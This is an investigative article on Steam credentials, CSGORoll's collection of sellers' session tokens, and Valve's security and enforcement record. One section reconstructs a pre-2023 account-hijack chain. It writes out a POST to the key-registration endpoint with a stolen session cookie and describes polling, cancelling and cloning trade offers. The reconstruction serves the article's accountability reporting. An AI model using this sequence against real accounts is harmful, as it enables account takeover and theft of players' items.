        "text": "Contents · Live article\n\nEVIDENCE FILE 03 / THE INFRASTRUCTURE RECORD OWNERSHIP, GAMBLING & PLATFORM CONTROL10 OCT 2026 • WORKING PAPER\n\nSTEAM ACCESS\n\nTheir credentials. Their infrastructure.\n\nThe external service still needs the system Valve controls.\n\nINVESTIGATION BY AGENT MILO\n\nUser API keys, publisher keys and Steam session JWTs serve different purposes. This file follows the documented credential paths, the infrastructure beneath them and the dated Link Filter responses. Version-pinned code audits remain attached as separate evidence files.\n\nInspect the three credentials ↓Open the code audit ↗\nFOLLOW THE ACCESS RECORD\n01 / ISSUEA Steam credential.\n\nAccount identity, issuer-defined context and expiry.\n\n02 / USEA service receives access.\n\nDocumented collection and renewal paths, pinned to their versions.\n\n03 / ENFORCEA route can be examined.\n\nSaved requests, filter responses and the operator’s declared host.\n\nOriginal 11 October edition · complete text →Preserved original wording, alongside the current sections →\n01\n\nTOKENS & PERMISSIONS\n\nThree credentials in the trading system\n\nTHREE CREDENTIALS / THREE ACCOUNT CONTEXTS\n\nUser key. Publisher key. Session JWT.\n\nCompare who receives each credential, what it accesses and how it enters the skin-trading system.\n\nPHISHDESTROY / THE CONVENIENT CONFUSION\nCongratulations. The player is now the integration.\n\nAutomation is forbidden in the Subscriber Agreement. Meanwhile, an outside trading business teaches the player to supply the credentials its automated workflow needs. Whose automation is this—and whose account carries the consequences? [E09] §4.C\n\nFOR THE DEVELOPER\nApplications. Permissions. IP restrictions.\n\nA publisher needs an API to operate its game. Valve documents application associations, permission groups and optional calling-IP restrictions, and tells publishers to keep their keys on secure servers. A recognizable security model. [E16]\n\nFOR THE PLAYER\nCopy this. Hand it over. Repeat.\n\nWhy must a person selling a skin become a credential courier? In April 2024, CSGORoll told sellers to obtain a token from their Steam session. In June, it announced an extension to collect, refresh and send that token to its servers. Very convenient—for the business receiving access. [E04] [E05]\n\nWhat does the player gain: a game feature, or another account credential to hand to an outside operator? The dossier’s history of stolen inventories makes that a security question, not a terminology exercise. When one access route changes, the commercial system finds another route through the customer’s session. Read the original key-security investigation ↗\n\nCSGORoll’s own blog words: the P2P announcement presents the platform as the anti-scam enforcement layer — it bans scammers and gamblers, it says. In the same document it explains why Valve cannot ban the mechanism, because every trade belongs to a player’s account. Banning the bots, on this architecture, means banning the players. The operator’s security blog and the impossibility argument are the same sentence. [E04]\n\nTHE PDF / BOARDING-PASS LOGIC\n\nA boarding pass can be a PDF.\nSo every PDF is a boarding pass?\n\nJWT describes the token’s format. “WebAPI” is the label used in this workflow. Neither answers the question of whose account authorizes the request. A reassuring name does not turn a player’s session credential into a publisher’s controlled integration.\n\nThe format is JWT. The account is the player’s. The outside operator receives the credential. Valve’s answer should explain the access and the protection—not invite the user to admire the vocabulary. [E17] [E05] SIH’s token-return handler: read the actual code ↗\n\nThree columns · swipe horizontally to compare on a smaller screen →\n\nUser API Key, Publisher API Key and Session JWT compared using the same seven fields\n01STEAM ACCOUNT HOLDERUser\nAPI KeyA key registered to a user’s account.E16 · User-key documentation ↗\t02GAME DEVELOPER / PUBLISHERPublisher\nAPI KeyA key managed by a Steamworks publisher.E16 · Publisher-key documentation ↗\t03LOGGED-IN STEAM SESSIONSession\nJWTThe browser’s webapi_token.E04 · CSGORoll’s token instructions ↗\nWHO GETS IT\n\nA Steam account holder. This is the personal user-key route. [E16]\n\n\tWHO GETS IT\n\nA Steamworks publisher. An administrator creates the key for a publisher group. [E16]\n\n\tWHO GETS IT\n\nA logged-in Steam user’s browser. The token comes from that active session. [E04]\n\nWHERE IT COMES FROM\n\nAccount-key registration.steamcommunity.com/dev/apikey ↗The registration associates a domain with the account’s key.\n\n\tWHERE IT COMES FROM\n\nSteamworks group administration.Steamworks → Users & Permissions → Manage Groups ↗The administrator chooses applications and key permissions.\n\n\tWHERE IT COMES FROM\n\nThe browser’s session configuration.steamcommunity.com/pointssummary/ajaxgetasyncconfig ↗CSGORoll’s instructions identify the field webapi_token.\n\nWHAT IT GIVES ACCESS TO\n\nAccount data and user-key methods. The trade-record reference includes GetTradeHistory, GetTradeOffers and GetTradeOffer. [E44]\n\n\tWHAT IT GIVES ACCESS TO\n\nPublisher and game-server operations. Examples include player-ticket verification, purchases and inventory services, within the key’s permissions. [E16] [E45]\n\n\tWHAT IT GIVES ACCESS TO\n\nAuthenticated access in the user’s session context. CSGORoll documents using it to monitor the seller’s trades. [E04]\n\nPERMISSIONS & IP CONTROLS\n\nThe Steam user’s account context. Access is determined by which methods accept that key. The historical security record examines broad account access and its abuse. Read the key-security record ↗\n\n\tPERMISSIONS & IP CONTROLS\n\nApp associations and permission groups. A publisher key can also be restricted to selected calling IP addresses. [E16]\n\n\tPERMISSIONS & IP CONTROLS\n\nSubject, audience and session claims. The supplied JWT includes sub, aud: web:community and IP-related fields. Steam applies the access rules. [E17]\n\nLIFETIME & RENEWAL\n\nA registered, persistent credential. The historical investigation follows continued access after registration; Valve controls whether the key remains accepted. Registration and lifecycle evidence ↗\n\n\tLIFETIME & RENEWAL\n\nManaged through the publisher group. Group configuration, permissions and Valve’s access controls govern its use. [E16]\n\n\tLIFETIME & RENEWAL\n\nTemporary session credential. Roll’s April 2024 instructions require daily replacement. The token carries an expiry time; the current code audit separately identifies the available renewal paths. [E04]\n\nHOW IT REACHES A SERVER\n\nA key in an API request. Valve supports a request parameter or the x-webapi-key header. [E16]\n\n\tHOW IT REACHES A SERVER\n\nA request from a secure publisher server. The publisher host, partner.steam-api.com, requires a publisher key and HTTPS. [E43]\n\n\tHOW IT REACHES A SERVER\n\nA token handed to the outside platform. Roll’s June 2024 announcement describes automatic collection, renewal and upload. Its current version 1.2 instead provides a token-copy popup for manual submission. [E05]\n\nROLE IN THIS INVESTIGATION\n\nThe historical account-access route. The dossier follows key registration, consent attribution and trade substitution. Registration and consent exhibits ↗\n\n\tROLE IN THIS INVESTIGATION\n\nThe game-publisher integration route. This is the developer-side context people often mean when they say “Steam API.” [E23] [E45]\n\n\tROLE IN THIS INVESTIGATION\n\nThe seller-session route documented by CSGORoll. Monitoring the Steam exchange feeds the operator’s decision to credit or release its own coins. [E04] [E07]\n\nCSGOROLL’S\nDOCUMENTED ROUTE\n\nColumn 03: the seller’s Steam session.\nThe user supplies the token. The platform monitors the trade and controls the coin settlement.\n\nTHE STANDARDS LAG / PUBLIC, DATED, UNANSWERED\n\nThe standards were public. The dates are the record.\n\nSteam ships on the App Store and Google Play, sells through the major card processors, and consumes third-party APIs like any other large platform. Each of those relationships carries a published, dated security requirement that Valve must satisfy to keep operating. Nothing in this table is a private standard, an internal memo or a trade secret — every entry is a public document with a publication date. Set those dates against the dates on which Steam’s own Web API acquired the same protections. [E13]\n\nPublished external security requirements set against the Steam Web API’s own dates\nThe published standard\tThe date it took effect\tThe Steam Web API on the same question\nScoped authorisation\tOAuth 2.0 — RFC 6749, October 2012. Section 3.3 defines scope so a client receives only the access it asks for. It has been the default of every major platform API since.\tGranular scopes arrived on 16 January 2026. Before that, a single Steam Web API key carried full read and write over the account’s trades regardless of why it was issued — thirteen years and three months after the specification that defines the control.\nA second factor on privileged access\tPCI DSS 3.2, requirement 8.3 — mandatory from 1 February 2018 for all non-console administrative and all remote access to the cardholder data environment. Apple then required two-factor authentication of every Developer Program account holder from 27 February 2019: “developers with the Account Holder role in a developer program will need to enable two-factor authentication to sign in.”\tA second factor was required to create an API key from 4 December 2023. Until then a stolen session cookie was enough — no prompt on the account holder’s phone, no notification afterwards. Four years and nine months after Apple made Valve itself use a second factor merely to sign in to a developer portal.\nCredential lifecycle and revocation\tTwitch requires of every third-party application: “Your app must validate the OAuth token when it starts and on an hourly basis thereafter” — and retired its legacy v5 API outright on a published schedule, 28 February 2022.\tNo published key-lifecycle record. The 2023 change protected the creation endpoint; no Valve statement located with it addresses keys already registered, and no changelog accompanied the change at all. Whether pre-fix keys were invalidated cannot be established from public data.\n\nThe benchmark, from the parent dossier’s token comparison: a GitHub fine-grained token can be restricted to a single repository, read-only, with a mandatory thirty-day expiry, and it logs IP, user agent and timestamp on every call. The Steam Web API key was a single 32-character string carrying full trade authority — read, cancel, decline — never expiring, with no IP binding and no user-visible audit trail. Valve’s own developers manage open-source software on GitHub daily inside the first model; the monolithic key was what 130 million Steam players were issued. [E13]\n\n2012 → 2026\n\nThirteen years and three months.\nThat is the interval between RFC 6749 defining scoped authorisation and the Steam Web API acquiring granular scopes on 16 January 2026. No key-lifecycle record has ever been published.\n\nThe standards table in the parent dossier ↗The GitHub / Steam token comparison ↗\n\nSTART WITH THE TERMS\n\nAn API is an interface. Access comes from a credential.\n\nThe phrase “Steam API” covers more than integration inside a game. Steam publishes both native game interfaces and HTTP services used by websites and account-based tools. Its own key documentation explicitly separates user keys from publisher keys. [E16] [E34]\n\nSteamworks SDK\nLibraries and interfaces a developer integrates into a game: achievements, friends, leaderboards and other Steam features. [E23]\nSteam Web API\nHTTP endpoints that software calls for data or operations. The method determines the authentication it requires. [E43]\nAPI key / session token\nThe credential presented with a request. User keys, publisher keys and browser-session tokens belong to different account contexts.\nJWT\nA format that carries claims inside a token. It belongs to the credential layer.\n\nVerification is a platform function.\n\n02 APR 2024\nSteam restricts inventory visibility\n\nValve’s release notes introduce ten days of invisibility for purchased and traded Counter-Strike items when other users inspect an inventory. [E28]\n\n10 APR 2024\nMonitoring through a user’s token\n\nAfter Steam’s API changes interrupted the previous P2P workflow, CSGORoll introduced a replacement: the seller supplies a token from their own logged-in Steam session. [E04]\n\n25 JUN 2024\nThe extension supplies the server\n\nThe extension workflow automatically collects, refreshes and sends the WebAPI token to CSGORoll’s servers. The user’s credential becomes part of the platform’s verification infrastructure. [E05]\n\n01 OCT 2024\nThe method changes. Control stays.\n\nThe later workflow adds inventory monitoring, user confirmation and platform-run disputes for token-free trades. The operator still decides how delivery is recognised and settlement proceeds. [E06]\n\nHOW THE CONTROL WORKS\n\nIdentity. Monitoring. Settlement.\nIdentity\nSteam OpenID identifies the account used to sign in to the outside service. [E08]\nMonitoring\nThe documented WebAPI token supplies authenticated access for trade checks. JWT is a format for carrying claims; the receiving service determines the access it accepts. [E05] [E11]\nSettlement\nThe operator links the recognised trade to its own coin ledger and release rules. [E07]\n\nThe mechanism connects the user’s Steam activity to an accounting decision controlled by the platform.\n\nEXHIBIT B / THE DECODED FIELDS\n\nRead the credential behind the label.\n\nThe supplied excerpt declares typ: JWT and alg: EdDSA. Its claims name a Steam account, the web:community audience and timestamps. “WebAPI token” is the field name; JWT identifies the token format. [E17] [E11]\n\nIn June 2024, CSGORoll made the destination explicit: its extension transmits your WebAPI token to our servers. [E05]\n\nThe endpoint’s character: ajaxgetasyncconfig is undocumented and internal. Without a session it returns an empty shell — {\"success\":1,\"data\":[]} — with one, it hands the browser a signed JWT. Valve built it so Steam’s own site could call its own API; it was never built for a casino’s servers. No published contract, no scope negotiation, no revocation path for the third-party use documented here. And the session token travels as an Authorization: Bearer header, not in a URL — after the 2024 change it is the credential the trade methods accept. The credential changed; the third party watching your trades did not. [E04] [E17]\n\nInspect the redacted field record ↗\nSUPPLIED DECODED EXCERPTIDENTIFIERS REDACTED\ntyp / alg\nJWT / EdDSA\nsub\nSteam account identifier\naud\n[\"web:community\"]\niat · nbf · exp\nIssued · valid from · expires\njti\nToken identifier\nip_subject\nip_confirmer\nIP-related claims\nValues redacted\n\nField transcription from the investigation notes. No live credential is reproduced.\n\nEVERY FIELD IN THE SUPPLIED EXCERPT\n\nIdentity, time and issuer-defined context.\nHow to read the supplied JWT without confusing a field with a permission\nField\tMeaning in this record\tRole in the access decision\ntyp\tJWT: the declared token type.\tIdentifies the format being parsed.\nalg\tEdDSA: the declared signing algorithm. [E25]\tThe signing layer protects integrity.\niss\tIssuer identifier.\tWho issued the claims.\nsub\tSubject: the Steam account identifier in the supplied notes.\tWhich account the token concerns.\naud\tIntended recipient; the excerpt contains web:community.\tAudience validation, alongside the endpoint’s authorisation rules.\niat\tIssue time.\tWhen the token was created.\nnbf\tEarliest acceptance time.\tThe token is not valid before this time.\nexp\tExpiry time.\tThe token must cease to be accepted at expiry.\njti\tToken identifier.\tIdentifies this token instance.\noat, rt_exp\tAdditional timestamps listed in the supplied Steam payload.\tIssuer-defined session metadata. Their exact processing is part of Steam’s implementation.\nip_subject, ip_confirmer\tIP-related fields, with addresses redacted.\tIssuer-defined network context; enforcement depends on the receiving service.\n\nStandard claim definitions: RFC 7519, §4.1. Additional claim names: §4.3. The field values and names come from the supplied, redacted excerpt. [E11] [E17]\n\nSIGNED JWT / THREE PARTSANNOTATED STRUCTURE\n\nA compact signed JWT joins three base64url-encoded parts with dots. Select a part to see what it contributes. [E24]\n\n{\n  \"typ\": \"JWT\",\n  \"alg\": \"EdDSA\"\n}\nWhat kind of object is this?\n\nThe header declares the JWT type and EdDSA signature algorithm. These are the header values recorded in the supplied excerpt. The algorithm belongs to the signing layer. [E17] [E25]\n\nTYPE + SIGNING METHOD\n{\n  \"sub\": \"[SteamID redacted]\",\n  \"aud\": [\"web:community\"],\n  \"iss\": \"[issuer value omitted]\",\n  \"iat\": \"[issued timestamp]\",\n  \"nbf\": \"[valid-from timestamp]\",\n  \"exp\": \"[expiry timestamp]\",\n  \"oat\": \"[additional timestamp]\",\n  \"rt_exp\": \"[additional timestamp]\",\n  \"jti\": \"[token ID omitted]\",\n  \"ip_subject\": \"[redacted]\",\n  \"ip_confirmer\": \"[redacted]\"\n}\nWhose session context travels with it?\n\nsub identifies the subject; aud identifies intended recipients. The standard timestamps record issuance, earliest acceptance and expiry. Steam’s additional fields carry issuer-specific session context. [E11]\n\nThe field-by-field table above separates standard JWT claims from Steam’s additional session metadata. All supplied field names are also preserved in the downloadable excerpt.\n\nIDENTITY + AUDIENCE + TIME\nENCODED HEADER + PAYLOADSignature integrity\nReadable claims, verifiable integrity.\n\nA signature covers the encoded header and payload. Verification checks that signed input with the appropriate key. Base64url encoding makes those first two parts readable; encryption is a separate mechanism. [E24]\n\nThis exhibit presents the supplied fields. The signature is represented structurally because the notes contain no complete signed token.\n\nDECODING → CONTENT / VERIFICATION → INTEGRITY\nFOLLOW THE ACCESS / CONTROL MODEL\nSTEAM / USER ACCOUNT CONTEXT\nOUTSIDE PLATFORM / OPERATOR CONTEXT\nUser’s Steam session\nwebapi_token made available\nACCOUNT · AUDIENCE · EXPIRY\nCSGORoll servers\nReceive the user-supplied token\nMANUAL HANDOFF / EXTENSION\nTOKEN\nSteam trade records\nDelivery and trade status\nTHE ITEM MOVEMENT\nPlatform coin ledger\nRecognition and balance release\nTHE USER’S PLATFORM RETURN\nauthenticated trade checks\nTRADE STATUS\noperator rules\n\nSwipe the diagram to inspect both sides.\n\n01 / SESSION CONTEXT\n\nThe credential starts in the user’s Steam session.\n\nIts account identifier, audience and timestamps travel in the token. CSGORoll’s documented seller workflow obtains this credential from the logged-in browser.\n\nE04 · Read the documented workflow ↗ [E17 · Supplied fields]\n\nEXPIRY / RENEWAL / CONTINUED MONITORING\n\nA short-lived token can support an ongoing commercial connection.\n\nRoll’s April 2024 instructions require daily replacement. Its June 2024 announcement describes background collection, refresh and upload. The currently distributed Roll package uses a manual-copy popup; Empire’s separately audited extension implements session renewal. These are different implementations of the same dependency: the platform needs continuing information from the user’s Steam account to settle its own ledger. [E04] [E05]\n\nCODE AUDIT / 10 OCTOBER 2026\n\nFollow the session credential into the extension.\n\nThe current CSGORoll-linked package and SIH 2.11.12 were inspected for token extraction, renewal triggers, server transmission and trade-control paths. The appendix pins each finding to a version, file and hash, and separates the 2024 workflow from the currently distributed code.\n\nRead the extension code audit ↗\nBefore the session-token workflow: the user-key registration problem+\n\nThe Steam Dossier’s historical API-key case traces a credential registered through a compromised authenticated browser session. The consent action was not a person’s deliberate grant: the account holder never saw the key-registration page, and a script executed the headless POST that submitted the registration fields with the stolen session cookie — machine-injected consent. Steam Support nonetheless attributes the key to the account holder. Valve holds the registration and request records; publish who performed the consent action behind the key it attributed. Inspect the consent and registration record ↗\n\nThe documented trade-substitution pattern then follows monitoring, cancellation and a replacement offer, with the user’s confirmation attached to the substituted transaction. A persistent account credential and an active session become parts of the same abuse chain. Follow the documented substitution sequence ↗\n\nValve’s public Web API documentation describes website developers and account-key registration. Its API Terms are dated July 2010. This history belongs to user-account access and web services, alongside the separate Steamworks game-integration pathway. [E33] [E34]\n\nThe issuance record: Valve’s user-key page issued a 32-character hex key to any logged-in account in a single click — no terms confirmed, no verification, no email notification. A day-old account with nothing in it qualified. [E16] [E34]\n\nThe key had no expiry, no scopes and no IP binding: all-or-nothing account access, passed as a bare ?key= parameter in the URL — logged by proxies, cached by servers, preserved in links. “Endless session” is not a metaphor; it was the documented property of the credential. With that key a site could call GetPlayerSummaries, GetOwnedGames and the full IEconService trade set — reading the account’s economy with the owner’s eyes. For years this was the standard deposit path of every skin site. [E44]\n\nThe silent fix: until 4 December 2023, a stolen session cookie alone could register that full-privilege key — no password, no Steam Guard prompt, no notification to the person whose account it was. On that date Valve began requiring mobile confirmation for key registration, closing the cookie-only route — without a changelog, detected by users rather than announced, about seven years after Valve’s 2016 statement and roughly six after the scam panels the archive preserves. And Valve has published nothing about the keys minted before the fix: no statement located with the change addresses keys already registered, and whether pre-fix keys were invalidated cannot be established from public data. The key itself was built never to expire — the zombie-key reservoir, credentials minted from stolen cookies, invisible to their owners, absent from any record a data subject could inspect. The question every refund refusal turns on — is a key created on this account years ago still live? — is one only Valve can answer, and it has not. [E13] Read the vulnerability profile and the fix record ↗\n\nThe 2024 closure: Valve closed the key-protected trade methods — and the credential economy did not shrink, it migrated. Within days CSGORoll was instructing sellers to paste a live session token instead. Valve closed one door and the commercial system walked through the user’s own session. [E04]\n\nRead the historical registration and trade-method exhibits ↗\n\nTHE HIJACK WALKTHROUGH / RECONSTRUCTION OF THE PRE-2023 PATTERN\n\nThe victim never visits the key page.\n\nThe parent dossier’s interactive hijack simulation, promoted into this record. Before 2023, the stolen Steam session could register a persistent Web API key. That key let the attacker monitor and cancel the victim’s pending offer; the attacker’s clone account then sent the replacement. The victim’s mobile confirmation completed the substituted trade. The entry is ordinary phishing: a compromised friend account sends the link, the victim enters credentials and a Steam Guard code into a lookalike portal, and the phishing server captures the active steamLoginSecure session cookie. The second factor has been used, not bypassed — two-factor authentication protects the moment of login, not what the resulting session can do afterwards. The timings below are illustrative, not live measurements of the current platform; the sequence is the record. [E13]\n\nPHASE B / SILENT KEY REGISTRATION\nThe key is registered by a script.\nPOST steamcommunity.com/dev/ajaxregisterkey\nCookie: steamLoginSecure=<stolen session>\nBody: agreeToTerms=agreed&domain=localhost\n\nThe victim never saw the key-registration page. A script holding the stolen cookie executes the headless POST — and because a script has no real domain to give, it sends localhost, the value later found on the hijacked account. Valve returns a full-privilege master key. Pre-2023 this required no password, no Steam Guard approval and no notification, and the key came with no scope limit: a session cookie converted into a durable credential.\n\nPHASE C / THE TRADE SWAP\nThe legitimate trade is cancelled and cloned.\n\nThe script polls IEconService/GetTradeOffers. The moment the victim initiates a legitimate trade, the script cancels it — sub-second, no prompt to the account holder — and a clone bot sends an identical offer carrying the same name and avatar, dressed with the recipient’s real profile data from ISteamUser/GetPlayerSummaries. Steam sees valid API calls carrying a valid key issued to that account. Every call is correctly authenticated.\n\nTHE EXPLOIT COMPLETED\nThe confirmation is genuine. The offer is not.\n\nExpecting the mobile prompt for their original trade, the victim approves the replacement. The confirmation is authentic — made by the account holder, on a registered device — but the offer it confirms is not the one the user initiated. That is the record Steam Support reads when the complaint arrives, and the reason the archived complaints were closed as user error.\n\nFour documented endpoints do the whole job — none of them is a flaw\nEndpoint\tRole in the sequence\tWhat it contributes\nIEconService/GetTradeOffers\tPolls the account\tMonitors the account’s trade offers — the details of newly created, pending or modified offers, including offer IDs and the recipient’s profile. [E44]\nIEconService/CancelTradeOffer\tVoids the real trade\tProgrammatically invalidates the legitimate offer before the account holder completes the mobile confirmation.\nISteamUser/GetPlayerSummaries\tDresses the clone\tReturns the legitimate recipient’s profile name and avatar URL, so a prepared clone account can be dressed to match.\ndev/ajaxregisterkey\tMints the credential\tHistorically, any active steamLoginSecure cookie session could register a key — no Steam Guard confirmation on the mobile device, no notification to the account holder. [E34]\n\nThe consent checkbox was never clicked by a human. Under GDPR Article 7 and Article 4(11), consent must be a freely given, specific, informed and unambiguous indication of the data subject’s wishes — a headless POST carrying a stolen cookie is none of those things. It is a forged signature on a transfer of liability. The dossier’s position is that a terms-acceptance field submitted by a hostile script, with no page shown to the account holder, cannot meet that definition; whether it does is for the supervisory authority. [E13]\n\nFOUR ENDPOINTS\nNONE IS A FLAW\n\nA stolen session could mint durable account access.\nNo server exploit was required. The stolen session registered the key; the key supplied monitoring and cancellation; the clone account supplied the replacement offer. Steam accepted the credentials at each step. The defect was the authority granted without an effective check on who was exercising it. [E13]\n\nStep through the hijack simulation in the parent dossier ↗\n\nFIRST ABUSE / NOTIFICATION / FIX / REAPPEARANCE\n\nThe abuse mechanisms returned more than once. Publish the trail per mechanism.\n\nThe API-key registration route was restricted and reappeared through session tokens. Session theft was answered and returned through extensions reading the same cookies. For each mechanism, the record request aimed at Valve is the same trail: first abuse, first user notification, fix date, reappearance — and the losses carried in between. [E04] [E05]\n\nTHE DOCUMENTED CONNECTION\n01Steam session\n\nThe seller is logged in.\n\n02Token handoff\n\nThe platform receives the session token.\n\n03Trade monitoring\n\nDelivery is checked through the documented workflow.\n\n04Platform balance\n\nRecognition and coin release follow the operator’s rules.\n\nPUBLIC VISIBILITY / ITEM LINEAGE\n\nThe original-ID tracking route was removed.\n\nThe former IEconItems_730/GetPlayerItems endpoint exposed an item’s original identifier, which could be matched across inventory changes. Its closure in 2017 removed that public identifier from the tracking route. The engineering history describes the replacement approach using float, seed and paint properties. That matching method does not restore the original-ID record. [E48]\n\nThe consequence for this investigation is control over evidence: the user is asked to explain where an item went while the authoritative transfer records remain inside Steam. The dossier follows the loss of public tracing and what it means for a victim seeking a remedy.\n\nRead the item-lineage and evidence-access record ↗\n\nIDENTITY / CREDENTIAL / ECONOMIC RESULT\n\nFollow what each step gives the platform.\nThree different operations in one user journey\nStep\tWhat moves through the system\tWhat the operator obtains\nSteam OpenID\tSteam returns an authenticated SteamID to the service’s login flow; the request declares the service’s return address.\tAn authenticated Steam identity for the site’s user record. [E34]\nSession-token handoff\tThe seller’s browser-session token is copied or collected by the extension.\tThe credential used in the documented trade-monitoring workflow. [E05]\nSettlement decision\tA Steam transfer is recognised under the platform’s verification rules.\tThe basis for crediting, withholding or releasing its own coin balance. [E07]\n\nThe intermediary has moved into the account-access and accounting layers. Direct item delivery leaves that control in place.\n\nThe concrete interfaces: account data, trade records and publisher servers+\n\nThe Web API is organised as host → interface → method → version. A method is an operation; its required credential determines the account context accepted for that operation. The reference documentation therefore has to be read at both levels. [E43]\n\nConcrete technical examples behind the terminology\nReference\tWhat it describes\tWhy it matters here\napi.steampowered.com\tHTTP services organised into named methods, with public and authenticated operations.\tA website or server can make these calls; the interface extends beyond code running inside a game.\nIEconService\tTrade history and offer records, including GetTradeHistory, GetTradeOffers and GetTradeOffer.\tThese methods document a user authentication key: a concrete account-access role outside game-client integration. [E44]\nISteamUserAuth/AuthenticateUserTicket\non partner.steam-api.com\tPublisher-side verification of a user’s authentication ticket.\tThe application’s identity and the publisher’s credential are explicit parts of the request. [E45]\npartner.steam-api.com\tA separate HTTPS host for secure publisher servers; every request requires a publisher key.\tValve documents its availability, firewall setup and access requirements separately from the public host. [E43]\n\nThe publisher contour is engineered like a real API boundary: a key required on every request, 403 and a hard IP rate-limit without it, a host outside the shared Akamai cache, HTTPS only, documented CIDR ranges for firewalls — and publisher access scoped to the partner’s own AppIDs: leaderboards, micro-transactions, workshop moderation and finance calls through ISteamMicroTxn, ISteamLeaderboards, IPublishedFileService and IPartnerFinancialsService. Everything the user-key page lacked in 2010–2024 exists one layer up — for publishers. [E43] [E16]\n\nPublisher-key documentation adds group administration, application associations, method permission groups and optional IP allowlists. CSGORoll’s documented token handoff instead starts with the seller’s Steam Community session. That is the access relationship the investigation follows. [E16] [E04]\n\nOriginal Web API overview ↗JWT format reference ↗\nNEW / EMPIRE, ROLL & FAST\nTrade tracking. Session access.\n\nEmpire’s login-cookie extraction and inactive session-renewal tab; Roll’s two extension identities; Fast’s current SIH installation and permission flow. The code is pinned to downloaded packages and public frontend files.\n\nOpen the new investigation ↗\nRead the original 11 October wording\n\nPreserved verbatim from the supplied 11 October 2026 edition. “Today” and “currently” refer to that edition; its original estimates and formulations remain available alongside the dated text above.\n\nThe parent dossier’s interactive hijack simulation, promoted into this record. Before 2023, a Web API key registered on an account could read its inventory, cancel a pending trade offer and create a new one — and no trade-confirmation screen was shown to the account holder for any of those actions. The entry is ordinary phishing: a compromised friend account sends the link, the victim enters credentials and a Steam Guard code into a lookalike portal, and the phishing server captures the active steamLoginSecure session cookie. The second factor has been used, not bypassed — two-factor authentication protects the moment of login, not what the resulting session can do afterwards. The timings below are illustrative, not live measurements of the current platform; the sequence is the record. [E13]\n\nReturns the legitimate recipient’s profile name, avatar URL and level, so a prepared clone account can be dressed to match.\n\nThe only thing the attacker had to steal was the key. None of the four endpoints needed exploiting — a valid key calls them and Steam answers. Every call is correctly authenticated; the defect is what the key was allowed to do. [E13]\n\nOpen this passage in the complete original edition →\n02\n\nTHE INFRASTRUCTURE BELOW THE PLATFORM\n\nValve supplies the rails.\n\nTwo central authorities.\nDifferent parts of the same exchange.\n\nValve governs the Steam account and item infrastructure. The outside operator governs its own ledger and access rules. Moving the item directly between users leaves both dependencies in place.\n\nSteam’s agreement confines Wallet funds to its ecosystem and makes their use subject to Valve’s rules. The outside operator adds another controlled balance and another set of conditions around the same item economy. [E09]\n\n13 JUL2016VALVE / PUBLIC STATEMENT\nThe mechanism was already named.\n\nValve identified Steam authentication and automated account activity in skin gambling, said it had no business relationships with those sites, and stated that using those services to operate a gambling business was prohibited.\n\nE08 · Read Valve’s statement ↗\nS / D\nCONTINUE THE INFRASTRUCTURE INVESTIGATION\nTheir rules. Their system.\n\nThe Steam Dossier examines the written rules, observed routes and enforcement record.\n\n↗\n\nUSERS, DEVELOPERS AND THE RIGHT TO DECIDE\n\nDocumentation does not give the community control.\n\nValve’s API terms reserve the ability to change the service or end access, including access for a particular application. Developers can build an integration and users can participate in it, but both remain dependent on decisions made by Valve. A public interface, a discussion board or a wiki does not transfer authority over those decisions to its readers. [E33]\n\nThat is the communication and accountability problem: the people affected need an attributable rule, change record and reasoned remedy, while the power to accept a credential, move an item or restore access stays with the platform.\n\nInspect our captured support, developer and wiki records ↗\n\nTHREE POSITIONS / ONE ITEM ECONOMY\n\nThe right being defended runs through the system being restricted.\n13 JUL 2016\nThe real-money boundary\n“Steam does not have a system for turning in-game items into real world currency.”\n“We have no business relationships with any of these sites. We have never received any revenue from them. And Steam does not have a system for turning in-game items into real world currency.”\n\nThe full statement is the quote to test: ten years later, every clause is testable against the fee record, the sponsorship record and the $1 million sale. [E08] [E38]\n\n“Using the OpenID API and making the same web calls as Steam users to run a gambling business is not allowed by our API nor our user agreements.”\n\nIn 2026 the same web calls are made with a session token pasted by the user — and the calls are the user’s own. Valve wrote the rule in a form its own architecture evades. [E04]\n\nErik Johnson / Valve’s original statement ↗\nTHE RULEBOOK\nThe commercial-use boundary\n\nSteam’s rules reserve commercial permissions and explicitly list gambling under prohibited commercial activity. The participant’s account supplies the access through which an outside service can operate.\n\nSteam Online Conduct ↗\n11 MAR 2026\nThe transferability defence\n\nValve presents continued transfers as a consumer right. The same transfers let items leave one account for another while an outside platform handles the cash or coin side of the exchange.\n\nValve’s public response ↗\n\nReading these positions together reveals the selective boundary. The system’s public description can stop at Steam’s Wallet, while its items travel through cash-priced outside markets. The right invoked for the collector is also the infrastructure used by the commercial service. The investigation follows the whole route across that boundary.\n\n2016 / 2026\nONE SYSTEM\n\nBoth cannot be the company’s understanding of its own system.\n2016 — “Steam does not have a system for turning in-game items into real world currency.” 2026 — transferability is a right Valve refuses to remove, while the complaint records a $1 million sale. [E08] [E14] [E38]\n\nSubscriber Agreement analysis ↗Clauses against recorded platforms ↗The market above Steam’s ceiling ↓\nOCT2016VALVE / WSGC RESPONSE\nForty notices. Account-level enforcement.\n\nValve told the Washington State Gambling Commission it had sent cease-and-desist notices to more than forty sites and disabled associated Steam accounts, while defending Steam trading and OpenID. The response is the direct anchor for the closing demand below: publish when access was disabled, what returned and under whose control.\n\nE19 · Valve’s October 2016 response ↗\n\nThe July 2016 notices set a ten-day deadline. Our dossier follows that demand through the October response and into a route register where 26 main-domain warnings coexist with separate authentication hosts. The register counts 44 separate auth-host domains carrying Steam logins for third-party platforms beside those 26 blocked main domains — each a domain registered apart from the platform’s main address; the split is systematic, not incidental. [E13] The oldest recorded split route reaches back to a March 2014 host registration. The register preserves those dated checkpoints and identifies the mechanism Valve’s enforcement should have interrupted. Publish when access was disabled, what returned and under whose control.\n\nOpen letter and Washington record ↗July 2016 notices and dated history ↗The route register ↗\n03\n\nTHE VISIBLE ENFORCEMENT LAYER\n\nSame filter. Different treatment.\n20 URLS CHECKED\n\nWe submitted the addresses in this investigation to Steam’s own Link Filter. CSGORoll, CSGOEmpire and Hellcase received an ordinary external-link notice with a continue link. The exact www.csgoroll.com variant also supplied a continue link. Sixteen other supplied addresses received a hard block. The difference is visible in Valve’s response. [E18]\n\nSteam’s browser, Big Picture and the destination warning+\n\nValve’s original Big Picture presentation includes a built-in web browser. DARKNAVY’s June 2024 technical research describes Steam’s steamwebhelper as a Chromium Embedded Framework application rendering Store, Community and Friends content. [E46] [E47]\n\nThe browser surface and the Link Filter perform different jobs: one renders the page; the other controls Steam’s warning and onward link. The investigation follows that visible destination decision. For the supplied gambling addresses below, the wrapper either blocks the route or supplies a continue link. The wider dossier examines the client, overlay and Big Picture context.\n\nThe Link 